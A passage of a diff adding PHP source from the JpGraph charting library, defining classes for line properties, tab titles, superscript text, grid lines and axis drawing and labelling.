+	    JpGraphError::RaiseL(25044);//('Cannot use autoscaling since it is impossible to determine a valid min/max value  of the Y-axis (only null values).');
+	}
+
+	for($i=0; $i < $n; ++$i ) {
+	    list($xmax,$ymax)=$aPlots[$i]->Max();
+	    list($xmin,$ymin)=$aPlots[$i]->Min();
+	    if (is_numeric($ymax)) $max=max($max,$ymax);
+	    if (is_numeric($ymin)) $min=min($min,$ymin);
+	}
+	if( $min == '' ) $min = 0;
+	if( $max == '' ) $max = 0;
+	if( $min == 0 && $max == 0 ) {
+	    // Special case if all values are 0
+	    $min=0;$max=1;			
+	}
+	return array($min,$max);
+    }
+
+} // Class
+
+//===================================================
+// CLASS LineProperty
+// Description: Holds properties for a line
+//===================================================
+class LineProperty {
+    public $iWeight=1, $iColor="black",$iStyle="solid",$iShow=true;
+	
+//---------------
+// PUBLIC METHODS	
+    function SetColor($aColor) {
+	$this->iColor = $aColor;
+    }
+	
+    function SetWeight($aWeight) {
+	$this->iWeight = $aWeight;
+    }
+	
+    function SetStyle($aStyle) {
+	$this->iStyle = $aStyle;
+    }
+		
+    function Show($aShow=true) {
+	$this->iShow=$aShow;
+    }
+	
+    function Stroke($aImg,$aX1,$aY1,$aX2,$aY2) {
+	if( $this->iShow ) {
+	    $aImg->PushColor($this->iColor);
+	    $oldls = $aImg->line_style;
+	    $oldlw = $aImg->line_weight;
+	    $aImg->SetLineWeight($this->iWeight);
+	    $aImg->SetLineStyle($this->iStyle);			
+	    $aImg->StyleLine($aX1,$aY1,$aX2,$aY2);
+	    $aImg->PopColor($this->iColor);
+	    $aImg->line_style = $oldls;
+	    $aImg->line_weight = $oldlw;
+
+	}
+    }
+}
+
+class GraphTabTitle extends Text{
+    private $corner = 6 , $posx = 7, $posy = 4;
+    private $fillcolor='lightyellow',$bordercolor='black';
+    private $align = 'left', $width=TABTITLE_WIDTHFIT;
+    function GraphTabTitle() {
+	$this->t = '';
+	$this->font_style = FS_BOLD;
+	$this->hide = true;
+	$this->color = 'darkred';
+    }
+
+    function SetColor($aTxtColor,$aFillColor='lightyellow',$aBorderColor='black') {
+	$this->color = $aTxtColor;
+	$this->fillcolor = $aFillColor;
+	$this->bordercolor = $aBorderColor;
+    }
+
+    function SetFillColor($aFillColor) {
+	$this->fillcolor = $aFillColor;
+    }
+
+    function SetTabAlign($aAlign) {
+	$this->align = $aAlign;
+    }
+    
+    function SetWidth($aWidth) {
+	$this->width = $aWidth ;
+    }
+
+    function Set($t) {
+	$this->t = $t;
+	$this->hide = false;
+    }
+
+    function SetCorner($aD) {
+	$this->corner = $aD ;
+    }
+
+    function Stroke($aImg,$aDummy1=null,$aDummy2=null) {
+	if( $this->hide ) 
+	    return;
+	$this->boxed = false;
+	$w = $this->GetWidth($aImg) + 2*$this->posx;
+	$h = $this->GetTextHeight($aImg) + 2*$this->posy;
+
+	$x = $aImg->left_margin;
+	$y = $aImg->top_margin;
+
+	if( $this->width === TABTITLE_WIDTHFIT ) {
+	    if( $this->align == 'left' ) {
+		$p = array($x,                $y,
+			   $x,                $y-$h+$this->corner,
+			   $x + $this->corner,$y-$h,
+			   $x + $w - $this->corner, $y-$h,
+			   $x + $w, $y-$h+$this->corner,
+			   $x + $w, $y);
+	    }
+	    elseif( $this->align == 'center' ) {
+		$x += round($aImg->plotwidth/2) - round($w/2);
+		$p = array($x, $y,
+			   $x, $y-$h+$this->corner,
+			   $x + $this->corner, $y-$h,
+			   $x + $w - $this->corner, $y-$h,
+			   $x + $w, $y-$h+$this->corner,
+			   $x + $w, $y);
+	    }
+	    else {
+		$x += $aImg->plotwidth -$w;
+		$p = array($x, $y,
+			   $x, $y-$h+$this->corner,
+			   $x + $this->corner,$y-$h,
+			   $x + $w - $this->corner, $y-$h,
+			   $x + $w, $y-$h+$this->corner,
+			   $x + $w, $y);
+	    }
+	}
+	else {
+	    if( $this->width === TABTITLE_WIDTHFULL )
+		$w = $aImg->plotwidth ;
+	    else
+		$w = $this->width ;
+
+	    // Make the tab fit the width of the plot area
+	    $p = array($x,                $y,
+		       $x,                $y-$h+$this->corner,
+		       $x + $this->corner,$y-$h,
+		       $x + $w - $this->corner, $y-$h,
+		       $x + $w, $y-$h+$this->corner,
+		       $x + $w, $y);
+	    
+	}
+	if( $this->halign == 'left' ) {
+	    $aImg->SetTextAlign('left','bottom');
+	    $x += $this->posx;
+	    $y -= $this->posy;
+	}
+	elseif( $this->halign == 'center' ) {
+	    $aImg->SetTextAlign('center','bottom');
+	    $x += $w/2; 
+	    $y -= $this->posy;
+	}
+	else {
+	    $aImg->SetTextAlign('right','bottom');
+	    $x += $w - $this->posx;
+	    $y -= $this->posy;
+	}
+
+	$aImg->SetColor($this->fillcolor);
+	$aImg->FilledPolygon($p);
+
+	$aImg->SetColor($this->bordercolor);
+	$aImg->Polygon($p,true);
+	
+	$aImg->SetColor($this->color);
+	$aImg->SetFont($this->font_family,$this->font_style,$this->font_size);
+	$aImg->StrokeText($x,$y,$this->t,0,'center');
+    }
+
+}
+
+//===================================================
+// CLASS SuperScriptText
+// Description: Format a superscript text
+//===================================================
+class SuperScriptText extends Text {
+    private $iSuper="";
+    private $sfont_family="",$sfont_style="",$sfont_size=8;
+    private $iSuperMargin=2,$iVertOverlap=4,$iSuperScale=0.65;
+    private $iSDir=0;
+    private $iSimple=false;
+
+    function SuperScriptText($aTxt="",$aSuper="",$aXAbsPos=0,$aYAbsPos=0) {
+	parent::Text($aTxt,$aXAbsPos,$aYAbsPos);
+	$this->iSuper = $aSuper;
+    }
+
+    function FromReal($aVal,$aPrecision=2) {
+	// Convert a floating point number to scientific notation
+	$neg=1.0;
+	if( $aVal < 0 ) {
+	    $neg = -1.0;
+	    $aVal = -$aVal;
+	}
+		
+	$l = floor(log10($aVal));
+	$a = sprintf("%0.".$aPrecision."f",round($aVal / pow(10,$l),$aPrecision));
+	$a *= $neg;
+	if( $this->iSimple && ($a == 1 || $a==-1) ) $a = '';
+	
+	if( $a != '' )
+	    $this->t = $a.' * 10';
+	else {
+	    if( $neg == 1 )
+		$this->t = '10';
+	    else
+		$this->t = '-10';
+	}
+	$this->iSuper = $l;
+    }
+
+    function Set($aTxt,$aSuper="") {
+	$this->t = $aTxt;
+	$this->iSuper = $aSuper;
+    }
+
+    function SetSuperFont($aFontFam,$aFontStyle=FS_NORMAL,$aFontSize=8) {
+	$this->sfont_family = $aFontFam;
+	$this->sfont_style = $aFontStyle;
+	$this->sfont_size = $aFontSize;
+    }
+
+    // Total width of text
+    function GetWidth($aImg) {
+	$aImg->SetFont($this->font_family,$this->font_style,$this->font_size);
+	$w = $aImg->GetTextWidth($this->t);
+	$aImg->SetFont($this->sfont_family,$this->sfont_style,$this->sfont_size);
+	$w += $aImg->GetTextWidth($this->iSuper);
+	$w += $this->iSuperMargin;
+	return $w;
+    }
+	
+    // Hight of font (approximate the height of the text)
+    function GetFontHeight($aImg) {
+	$aImg->SetFont($this->font_family,$this->font_style,$this->font_size);	
+	$h = $aImg->GetFontHeight();
+	$aImg->SetFont($this->sfont_family,$this->sfont_style,$this->sfont_size);
+	$h += $aImg->GetFontHeight();
+	return $h;
+    }
+
+    // Hight of text
+    function GetTextHeight($aImg) {
+	$aImg->SetFont($this->font_family,$this->font_style,$this->font_size);
+	$h = $aImg->GetTextHeight($this->t);
+	$aImg->SetFont($this->sfont_family,$this->sfont_style,$this->sfont_size);
+	$h += $aImg->GetTextHeight($this->iSuper);
+	return $h;
+    }
+
+    function Stroke($aImg,$ax=-1,$ay=-1) {
+	
+        // To position the super script correctly we need different
+	// cases to handle the alignmewnt specified since that will
+	// determine how we can interpret the x,y coordinates
+	
+	$w = parent::GetWidth($aImg);
+	$h = parent::GetTextHeight($aImg);
+	switch( $this->valign ) {
+	    case 'top':
+		$sy = $this->y;
+		break;
+	    case 'center':
+		$sy = $this->y - $h/2;
+		break;
+	    case 'bottom':
+		$sy = $this->y - $h;
+		break;
+	    default:
+		JpGraphError::RaiseL(25052);//('PANIC: Internal error in SuperScript::Stroke(). Unknown vertical alignment for text');
+		break;
+	}
+
+	switch( $this->halign ) {
+	    case 'left':
+		$sx = $this->x + $w;
+		break;
+	    case 'center':
+		$sx = $this->x + $w/2;
+		break;
+	    case 'right':
+		$sx = $this->x;
+		break;
+	    default:
+		JpGraphError::RaiseL(25053);//('PANIC: Internal error in SuperScript::Stroke(). Unknown horizontal alignment for text');
+		break;
+	}
+
+	$sx += $this->iSuperMargin;
+	$sy += $this->iVertOverlap;
+
+	// Should we automatically determine the font or
+	// has the user specified it explicetly?
+	if( $this->sfont_family == "" ) {
+	    if( $this->font_family <= FF_FONT2 ) {
+		if( $this->font_family == FF_FONT0 ) {
+		    $sff = FF_FONT0;
+		}
+		elseif( $this->font_family == FF_FONT1 ) {
+		    if( $this->font_style == FS_NORMAL )
+			$sff = FF_FONT0;
+		    else
+			$sff = FF_FONT1;
+		}
+		else {
+		    $sff = FF_FONT1;
+		}
+		$sfs = $this->font_style;
+		$sfz = $this->font_size;
+	    }
+	    else {
+		// TTF fonts
+		$sff = $this->font_family;
+		$sfs = $this->font_style;
+		$sfz = floor($this->font_size*$this->iSuperScale);		
+		if( $sfz < 8 ) $sfz = 8;
+	    }	    
+	    $this->sfont_family = $sff;
+	    $this->sfont_style = $sfs;
+	    $this->sfont_size = $sfz;	    
+	} 
+	else {
+	    $sff = $this->sfont_family;
+	    $sfs = $this->sfont_style;
+	    $sfz = $this->sfont_size;	    
+	}
+
+	parent::Stroke($aImg,$ax,$ay);
+
+
+	// For the builtin fonts we need to reduce the margins
+	// since the bounding bx reported for the builtin fonts
+	// are much larger than for the TTF fonts.
+	if( $sff <= FF_FONT2 ) {
+	    $sx -= 2;
+	    $sy += 3;
+	}
+
+	$aImg->SetTextAlign('left','bottom');	
+	$aImg->SetFont($sff,$sfs,$sfz);
+	$aImg->PushColor($this->color);	
+	$aImg->StrokeText($sx,$sy,$this->iSuper,$this->iSDir,'left');
+	$aImg->PopColor();	
+    }
+}
+
+
+//===================================================
+// CLASS Grid
+// Description: responsible for drawing grid lines in graph
+//===================================================
+class Grid {
+    protected $img;
+    protected $scale;
+    protected $grid_color='#DDDDDD',$grid_mincolor='#DDDDDD';
+    protected $type="solid";
+    protected $show=false, $showMinor=false,$weight=1;
+    protected $fill=false,$fillcolor=array('#EFEFEF','#BBCCFF');
+//---------------
+// CONSTRUCTOR
+    function Grid($aAxis) {
+	$this->scale = $aAxis->scale;
+	$this->img = $aAxis->img;
+    }
+//---------------
+// PUBLIC METHODS
+    function SetColor($aMajColor,$aMinColor=false) {
+	$this->grid_color=$aMajColor;
+	if( $aMinColor === false ) 
+	    $aMinColor = $aMajColor ;
+	$this->grid_mincolor = $aMinColor;
+    }
+	
+    function SetWeight($aWeight) {
+	$this->weight=$aWeight;
+    }
+	
+    // Specify if grid should be dashed, dotted or solid
+    function SetLineStyle($aType) {
+	$this->type = $aType;
+    }
+	
+    // Decide if both major and minor grid should be displayed
+    function Show($aShowMajor=true,$aShowMinor=false) {
+	$this->show=$aShowMajor;
+	$this->showMinor=$aShowMinor;
+    }
+    
+    function SetFill($aFlg=true,$aColor1='lightgray',$aColor2='lightblue') {
+	$this->fill = $aFlg;
+	$this->fillcolor = array( $aColor1, $aColor2 );
+    }
+	
+    // Display the grid
+    function Stroke() {
+	if( $this->showMinor && !$this->scale->textscale ) {
+	    $tmp = $this->grid_color;
+	    $this->grid_color = $this->grid_mincolor;
+	    $this->DoStroke($this->scale->ticks->ticks_pos);
+
+	    $this->grid_color = $tmp;
+	    $this->DoStroke($this->scale->ticks->maj_ticks_pos);
+	}
+	else {
+	    $this->DoStroke($this->scale->ticks->maj_ticks_pos);
+	}
+    }
+	
+//--------------
+// Private methods	
+    // Draw the grid
+    function DoStroke($aTicksPos) {
+	if( !$this->show )
+	    return;	
+	$nbrgrids = count($aTicksPos);	
+
+	if( $this->scale->type=="y" ) {
+	    $xl=$this->img->left_margin;
+	    $xr=$this->img->width-$this->img->right_margin;
+	    
+	    if( $this->fill ) {
+		// Draw filled areas
+		$y2 = $aTicksPos[0];
+		$i=1;
+		while( $i < $nbrgrids ) {
+		    $y1 = $y2;
+		    $y2 = $aTicksPos[$i++];
+		    $this->img->SetColor($this->fillcolor[$i & 1]);
+		    $this->img->FilledRectangle($xl,$y1,$xr,$y2);
+		}
+	    }
+
+	    $this->img->SetColor($this->grid_color);
+	    $this->img->SetLineWeight($this->weight);
+
+	    // Draw grid lines
+	    switch( $this->type ) {
+		case "solid":  $style = LINESTYLE_SOLID; break;
+		case "dotted": $style = LINESTYLE_DOTTED; break;
+		case "dashed": $style = LINESTYLE_DASHED; break;
+		case "longdashed": $style = LINESTYLE_LONGDASH; break;
+		default:
+		    $style = LINESTYLE_SOLID; break;
+	    }
+
+	    for($i=0; $i < $nbrgrids; ++$i) {
+		$y=$aTicksPos[$i];
+		$this->img->StyleLine($xl,$y,$xr,$y,$style);
+	    }
+	}
+	elseif( $this->scale->type=="x" ) {	
+	    $yu=$this->img->top_margin;
+	    $yl=$this->img->height-$this->img->bottom_margin;
+	    $limit=$this->img->width-$this->img->right_margin;
+
+	    if( $this->fill ) {
+		// Draw filled areas
+		$x2 = $aTicksPos[0];
+		$i=1;
+		while( $i < $nbrgrids ) {
+		    $x1 = $x2;
+		    $x2 = min($aTicksPos[$i++],$limit) ;
+		    $this->img->SetColor($this->fillcolor[$i & 1]);
+		    $this->img->FilledRectangle($x1,$yu,$x2,$yl);
+		}
+	    }
+
+	    $this->img->SetColor($this->grid_color);
+	    $this->img->SetLineWeight($this->weight);
+
+	    // We must also test for limit since we might have
+	    // an offset and the number of ticks is calculated with
+	    // assumption offset==0 so we might end up drawing one
+	    // to many gridlines
+	    $i=0;
+	    $x=$aTicksPos[$i];	    
+	    while( $i<count($aTicksPos) && ($x=$aTicksPos[$i]) <= $limit ) {
+		if( $this->type == "solid" )				
+		    $this->img->Line($x,$yl,$x,$yu);
+		elseif( $this->type == "dotted" )
+		    $this->img->DashedLine($x,$yl,$x,$yu,1,6);
+		elseif( $this->type == "dashed" )
+		    $this->img->DashedLine($x,$yl,$x,$yu,2,4);
+		elseif( $this->type == "longdashed" )
+		    $this->img->DashedLine($x,$yl,$x,$yu,8,6);	
+		++$i;  
+	    }
+	}	
+	else {
+	    JpGraphError::RaiseL(25054,$this->scale->type);//('Internal error: Unknown grid axis ['.$this->scale->type.']');
+	}
+	return true;
+    }
+} // Class
+
+//===================================================
+// CLASS Axis
+// Description: Defines X and Y axis. Notes that at the
+// moment the code is not really good since the axis on
+// several occasion must know wheter it's an X or Y axis.
+// This was a design decision to make the code easier to
+// follow. 
+//===================================================
+class AxisPrototype {
+    public $scale=null; 
+    public $img=null;
+    public $hide=false,$hide_labels=false;
+    public $title=null;
+    public $font_family=FF_FONT1,$font_style=FS_NORMAL,$font_size=12,$label_angle=0;
+    public $tick_step=1;
+    public $pos = false;
+    public $ticks_label = array();
+
+    protected $weight=1;
+    protected $color=array(0,0,0),$label_color=array(0,0,0);
+    protected $ticks_label_colors=null;
+    protected $show_first_label=true,$show_last_label=true;
+    protected $label_step=1; // Used by a text axis to specify what multiple of major steps
+    // should be labeled.
+    protected $labelPos=0;   // Which side of the axis should the labels be?
+    protected $title_adjust,$title_margin,$title_side=SIDE_LEFT;
+    protected $tick_label_margin=7;
+    protected $label_halign = '',$label_valign = '', $label_para_align='left';
+    protected $hide_line=false;
+    protected $iDeltaAbsPos=0;
+
+//---------------
+// CONSTRUCTOR
+    function Axis($img,$aScale,$color=array(0,0,0)) {
+	$this->img = $img;
+	$this->scale = $aScale;
+	$this->color = $color;
+	$this->title=new Text("");
+		
+	if( $aScale->type=="y" ) {
+	    $this->title_margin = 25;
+	    $this->title_adjust="middle";
+	    $this->title->SetOrientation(90);
+	    $this->tick_label_margin=7;
+	    $this->labelPos=SIDE_LEFT;
+	}
+	else {
+	    $this->title_margin = 5;
+	    $this->title_adjust="high";
+	    $this->title->SetOrientation(0);			
+	    $this->tick_label_margin=7;
+	    $this->labelPos=SIDE_DOWN;
+	    $this->title_side=SIDE_DOWN;
+	}
+    }
+//---------------
+// PUBLIC METHODS	
+	
+    function SetLabelFormat($aFormStr) {
+	$this->scale->ticks->SetLabelFormat($aFormStr);
+    }
+
+    function SetLabelFormatString($aFormStr,$aDate=false) {
+	$this->scale->ticks->SetLabelFormat($aFormStr,$aDate);
+    }
+	
+    function SetLabelFormatCallback($aFuncName) {
+	$this->scale->ticks->SetFormatCallback($aFuncName);
+    }
+
+    function SetLabelAlign($aHAlign,$aVAlign="top",$aParagraphAlign='left') {
+	$this->label_halign = $aHAlign;
+	$this->label_valign = $aVAlign;
+	$this->label_para_align = $aParagraphAlign;
+    }		
+
+    // Don't display the first label
+    function HideFirstTickLabel($aShow=false) {
+	$this->show_first_label=$aShow;
+    }
+
+    function HideLastTickLabel($aShow=false) {
+	$this->show_last_label=$aShow;
+    }
+
+    // Manually specify the major and (optional) minor tick position and labels
+    function SetTickPositions($aMajPos,$aMinPos=NULL,$aLabels=NULL) {
+	$this->scale->ticks->SetTickPositions($aMajPos,$aMinPos,$aLabels);
+    }
+
+    // Manually specify major tick positions and optional labels
+    function SetMajTickPositions($aMajPos,$aLabels=NULL) {
+	$this->scale->ticks->SetTickPositions($aMajPos,NULL,$aLabels);
+    }
+
+    // Hide minor or major tick marks
+    function HideTicks($aHideMinor=true,$aHideMajor=true) {
+	$this->scale->ticks->SupressMinorTickMarks($aHideMinor);
+	$this->scale->ticks->SupressTickMarks($aHideMajor);
+    }
+
+    // Hide zero label
+    function HideZeroLabel($aFlag=true) {
+	$this->scale->ticks->SupressZeroLabel();
+    }
+	
+    function HideFirstLastLabel() {
+	// The two first calls to ticks method will supress 
+	// automatically generated scale values. However, that
+	// will not affect manually specified value, e.g text-scales.
+	// therefor we also make a kludge here to supress manually
+	// specified scale labels.
+	$this->scale->ticks->SupressLast();
+	$this->scale->ticks->SupressFirst();
+	$this->show_first_label	= false;
+	$this->show_last_label = false;
+    }
+	
+    // Hide the axis
+    function Hide($aHide=true) {
+	$this->hide=$aHide;
+    }
+
+    // Hide the actual axis-line, but still print the labels
+    function HideLine($aHide=true) {
+	$this->hide_line = $aHide;
+    }
+
+    function HideLabels($aHide=true) {
+	$this->hide_labels = $aHide;
+    }
+    
+
+    // Weight of axis
+    function SetWeight($aWeight) {
+	$this->weight = $aWeight;
+    }
+
+    // Axis color
+    function SetColor($aColor,$aLabelColor=false) {
+	$this->color = $aColor;
+	if( !$aLabelColor ) $this->label_color = $aColor;
+	else $this->label_color = $aLabelColor;
+    }
+	
+    // Title on axis
+    function SetTitle($aTitle,$aAdjustAlign="high") {
+	$this->title->Set($aTitle);
+	$this->title_adjust=$aAdjustAlign;
+    }
+	
+    // Specify distance from the axis
+    function SetTitleMargin($aMargin) {
+	$this->title_margin=$aMargin;
+    }
+	
+    // Which side of the axis should the axis title be?
+    function SetTitleSide($aSideOfAxis) {
+	$this->title_side = $aSideOfAxis;
+    }
+
+    // Utility function to set the direction for tick marks
+    function SetTickDirection($aDir) {
+    	// Will be deprecated from 1.7    	
+    	if( ERR_DEPRECATED )
+	    JpGraphError::RaiseL(25055);//('Axis::SetTickDirection() is deprecated. Use Axis::SetTickSide() instead');
+	$this->scale->ticks->SetSide($aDir);
+    }
+    
+    function SetTickSide($aDir) {
+	$this->scale->ticks->SetSide($aDir);
+    }
+	
+    // Specify text labels for the ticks. One label for each data point
+    function SetTickLabels($aLabelArray,$aLabelColorArray=null) {
+	$this->ticks_label = $aLabelArray;
+	$this->ticks_label_colors = $aLabelColorArray;
+    }
+	
+    // How far from the axis should the labels be drawn
+    function SetTickLabelMargin($aMargin) {
+	if( ERR_DEPRECATED )    	
+	    JpGraphError::RaiseL(25056);//('SetTickLabelMargin() is deprecated. Use Axis::SetLabelMargin() instead.');
+      	$this->tick_label_margin=$aMargin;
+    }
+
+    function SetLabelMargin($aMargin) {
+	$this->tick_label_margin=$aMargin;
+    }
+	
+    // Specify that every $step of the ticks should be displayed starting
+    // at $start
+    // DEPRECATED FUNCTION: USE SetTextTickInterval() INSTEAD
+    function SetTextTicks($step,$start=0) {
+	JpGraphError::RaiseL(25057);//(" SetTextTicks() is deprecated. Use SetTextTickInterval() instead.");		
+    }
+
+    // Specify that every $step of the ticks should be displayed starting
+    // at $start	
+    function SetTextTickInterval($aStep,$aStart=0) {
+	$this->scale->ticks->SetTextLabelStart($aStart);
+	$this->tick_step=$aStep;
+    }
+	 
+    // Specify that every $step tick mark should have a label 
+    // should be displayed starting
+    function SetTextLabelInterval($aStep) {
+	if( $aStep < 1 )
+	    JpGraphError::RaiseL(25058);//(" Text label interval must be specified >= 1.");
+	$this->label_step=$aStep;
+    }
+	
+    // Which side of the axis should the labels be on?
+    function SetLabelPos($aSidePos) {
+    	// This will be deprecated from 1.7
+	if( ERR_DEPRECATED )    	
+	    JpGraphError::RaiseL(25059);//('SetLabelPos() is deprecated. Use Axis::SetLabelSide() instead.');
+	$this->labelPos=$aSidePos;
+    }
+    
+    function SetLabelSide($aSidePos) {
+	$this->labelPos=$aSidePos;
+    }
+
+    // Set the font
+    function SetFont($aFamily,$aStyle=FS_NORMAL,$aSize=10) {
+	$this->font_family = $aFamily;
+	$this->font_style = $aStyle;
+	$this->font_size = $aSize;
+    }
+
+    // Position for axis line on the "other" scale
+    function SetPos($aPosOnOtherScale) {
+	$this->pos=$aPosOnOtherScale;
+    }
+
+    // Set the position of the axis to be X-pixels delta to the right 
+    // of the max X-position (used to position the multiple Y-axis)
+    function SetPosAbsDelta($aDelta) {
+      $this->iDeltaAbsPos=$aDelta;
+    }
+	
+    // Specify the angle for the tick labels
+    function SetLabelAngle($aAngle) {
+	$this->label_angle = $aAngle;
+    }	
+
+} // Class
+
+
+//===================================================
+// CLASS Axis
+// Description: Defines X and Y axis. Notes that at the
+// moment the code is not really good since the axis on
+// several occasion must know wheter it's an X or Y axis.
+// This was a design decision to make the code easier to
+// follow. 
+//===================================================
+class Axis extends AxisPrototype {
+
+    function Axis($img,$aScale,$color=array(0,0,0)) {
+	parent::Axis($img,$aScale,$color);
+    }
+	
+    // Stroke the axis.
+    function Stroke($aOtherAxisScale,$aStrokeLabels=true) {		
+	if( $this->hide ) return;		
+	if( is_numeric($this->pos) ) {
+	    $pos=$aOtherAxisScale->Translate($this->pos);
+	}
+	else {	// Default to minimum of other scale if pos not set		
+	    if( ($aOtherAxisScale->GetMinVal() >= 0 && $this->pos==false) || $this->pos=="min" ) {
+		$pos = $aOtherAxisScale->scale_abs[0];
+	    }
+	    elseif($this->pos == "max") {
+		$pos = $aOtherAxisScale->scale_abs[1];
+	    }
+	    else { // If negative set x-axis at 0
+		$this->pos=0;
+		$pos=$aOtherAxisScale->Translate(0);
+	    }
+	}
+	$pos += $this->iDeltaAbsPos;	
+	$this->img->SetLineWeight($this->weight);
+	$this->img->SetColor($this->color);		
+	$this->img->SetFont($this->font_family,$this->font_style,$this->font_size);
+	if( $this->scale->type == "x" ) {
+	    if( !$this->hide_line ) 
+		$this->img->FilledRectangle($this->img->left_margin,$pos,
+					    $this->img->width-$this->img->right_margin,$pos+$this->weight-1);
+	    if( $this->title_side == SIDE_DOWN ) {
+		$y = $pos + $this->img->GetFontHeight() + $this->title_margin + $this->title->margin;
+		$yalign = 'top';
+	    }
+	    else {
+		$y = $pos - $this->img->GetFontHeight() - $this->title_margin - $this->title->margin;
+		$yalign = 'bottom';
+	    }
+
+	    if( $this->title_adjust=='high' )
+		$this->title->SetPos($this->img->width-$this->img->right_margin,$y,'right',$yalign);
+	    elseif( $this->title_adjust=='middle' || $this->title_adjust=='center' ) 
+		$this->title->SetPos(($this->img->width-$this->img->left_margin-$this->img->right_margin)/2+$this->img->left_margin,$y,'center',$yalign);
+	    elseif($this->title_adjust=='low')
+		$this->title->SetPos($this->img->left_margin,$y,'left',$yalign);
+	    else {	
+		JpGraphError::RaiseL(25060,$this->title_adjust);//('Unknown alignment specified for X-axis title. ('.$this->title_adjust.')');
+	    }
+	}
+	elseif( $this->scale->type == "y" ) {
+	    // Add line weight to the height of the axis since
+	    // the x-axis could have a width>1 and we want the axis to fit nicely together.
+	    if( !$this->hide_line ) 
+		$this->img->FilledRectangle($pos-$this->weight+1,$this->img->top_margin,
+					    $pos,$this->img->height-$this->img->bottom_margin+$this->weight-1);
+	    $x=$pos ;
+	    if( $this->title_side == SIDE_LEFT ) {
+		$x -= $this->title_margin;
+		$x -= $this->title->margin;
+		$halign="right";
+	    }
+	    else {
+		$x += $this->title_margin;
+		$x += $this->title->margin;
+		$halign="left";
+	    }
+	    // If the user has manually specified an hor. align
+	    // then we override the automatic settings with this
+	    // specifed setting. Since default is 'left' we compare
+	    // with that. (This means a manually set 'left' align
+	    // will have no effect.)
+	    if( $this->title->halign != 'left' ) 
+		$halign = $this->title->halign;
+	    if( $this->title_adjust=="high" ) 
+		$this->title->SetPos($x,$this->img->top_margin,$halign,"top"); 
+	    elseif($this->title_adjust=="middle" || $this->title_adjust=="center")  
+		$this->title->SetPos($x,($this->img->height-$this->img->top_margin-$this->img->bottom_margin)/2+$this->img->top_margin,$halign,"center");
+	    elseif($this->title_adjust=="low")
+		$this->title->SetPos($x,$this->img->height-$this->img->bottom_margin,$halign,"bottom");
+	    else	
+		JpGraphError::RaiseL(25061,$this->title_adjust);//('Unknown alignment specified for Y-axis title. ('.$this->title_adjust.')');
+		
+	}
+	$this->scale->ticks->Stroke($this->img,$this->scale,$pos);
+	if( $aStrokeLabels ) {
+	    if( !$this->hide_labels )
+		$this->StrokeLabels($pos);
+	    $this->title->Stroke($this->img);
+	}
+    }
+
+//---------------
+// PRIVATE METHODS	
+    // Draw all the tick labels on major tick marks
+    function StrokeLabels($aPos,$aMinor=false,$aAbsLabel=false) {
+
+	$this->img->SetColor($this->label_color);
+	$this->img->SetFont($this->font_family,$this->font_style,$this->font_size);
+	$yoff=$this->img->GetFontHeight()/2;
+
+	// Only draw labels at major tick marks
+	$nbr = count($this->scale->ticks->maj_ticks_label);
+
+	// We have the option to not-display the very first mark
+	// (Usefull when the first label might interfere with another
+	// axis.)
+	$i = $this->show_first_label ? 0 : 1 ;
+	if( !$this->show_last_label ) --$nbr;
+	// Now run through all labels making sure we don't overshoot the end
+	// of the scale.	
+	$ncolor=0;
+	if( isset($this->ticks_label_colors) )
+	    $ncolor=count($this->ticks_label_colors);
+	while( $i<$nbr ) {
+	    // $tpos holds the absolute text position for the label
+	    $tpos=$this->scale->ticks->maj_ticklabels_pos[$i];
+
+	    // Note. the $limit is only used for the x axis since we
+	    // might otherwise overshoot if the scale has been centered
+	    // This is due to us "loosing" the last tick mark if we center.
+	    if( $this->scale->type=="x" && $tpos > $this->img->width-$this->img->right_margin+1 ) {
+	    	return; 
+	    }
+	    // we only draw every $label_step label
+	    if( ($i % $this->label_step)==0 ) {
+
+		// Set specific label color if specified
+		if( $ncolor > 0 )
+		    $this->img->SetColor($this->ticks_label_colors[$i % $ncolor]);
+		
+		// If the label has been specified use that and in other case
+		// just label the mark with the actual scale value 
+		$m=$this->scale->ticks->GetMajor();
+				
+		// ticks_label has an entry for each data point and is the array
+		// that holds the labels set by the user. If the user hasn't 
+		// specified any values we use whats in the automatically asigned
+		// labels in the maj_ticks_label
+		if( isset($this->ticks_label[$i*$m]) )
+		    $label=$this->ticks_label[$i*$m];
+		else {
+		    if( $aAbsLabel ) 
+			$label=abs($this->scale->ticks->maj_ticks_label[$i]);
+		    else
+			$label=$this->scale->ticks->maj_ticks_label[$i];
+		    if( $this->scale->textscale && $this->scale->ticks->label_formfunc == '' ) {
+			++$label;
+		    }
+		}
+					
+		if( $this->scale->type == "x" ) {
+		    if( $this->labelPos == SIDE_DOWN ) {
+			if( $this->label_angle==0 || $this->label_angle==90 ) {
+			    if( $this->label_halign=='' && $this->label_valign=='')
+				$this->img->SetTextAlign('center','top');
+			    else
+			    	$this->img->SetTextAlign($this->label_halign,$this->label_valign);
+			    
+			}
+			else {
+			    if( $this->label_halign=='' && $this->label_valign=='')
+				$this->img->SetTextAlign("right","top");
+			    else
+				$this->img->SetTextAlign($this->label_halign,$this->label_valign);
+			}
+			$this->img->StrokeText($tpos,$aPos+$this->tick_label_margin+1,$label,
+					       $this->label_angle,$this->label_para_align);
+		    }
+		    else {
+			if( $this->label_angle==0 || $this->label_angle==90 ) {
+			    if( $this->label_halign=='' && $this->label_valign=='')
+				$this->img->SetTextAlign("center","bottom");
+			    else
+			    	$this->img->SetTextAlign($this->label_halign,$this->label_valign);
+			}
+			else {
+			    if( $this->label_halign=='' && $this->label_valign=='')
+				$this->img->SetTextAlign("right","bottom");
+			    else
+			    	$this->img->SetTextAlign($this->label_halign,$this->label_valign);
+			}
+			$this->img->StrokeText($tpos,$aPos-$this->tick_label_margin-1,$label,
+					       $this->label_angle,$this->label_para_align);
+		    }
+		}
+		else {
+		    // scale->type == "y"
+		    //if( $this->label_angle!=0 ) 
+		    //JpGraphError::Raise(" Labels at an angle are not supported on Y-axis");
+		    if( $this->labelPos == SIDE_LEFT ) { // To the left of y-axis					
+			if( $this->label_halign=='' && $this->label_valign=='')	
+			    $this->img->SetTextAlign("right","center");
+			else
+			    $this->img->SetTextAlign($this->label_halign,$this->label_valign);
+			$this->img->StrokeText($aPos-$this->tick_label_margin,$tpos,$label,$this->label_angle,$this->label_para_align);	
+		    }
+		    else { // To the right of the y-axis
+			if( $this->label_halign=='' && $this->label_valign=='')	
+			    $this->img->SetTextAlign("left","center");
+			else
+			    $this->img->SetTextAlign($this->label_halign,$this->label_valign);
+			$this->img->StrokeText($aPos+$this->tick_label_margin,$tpos,$label,$this->label_angle,$this->label_para_align);	
+		    }
+		}
+	    }
+	    ++$i;	
+	}								
+    }			    
+
+}
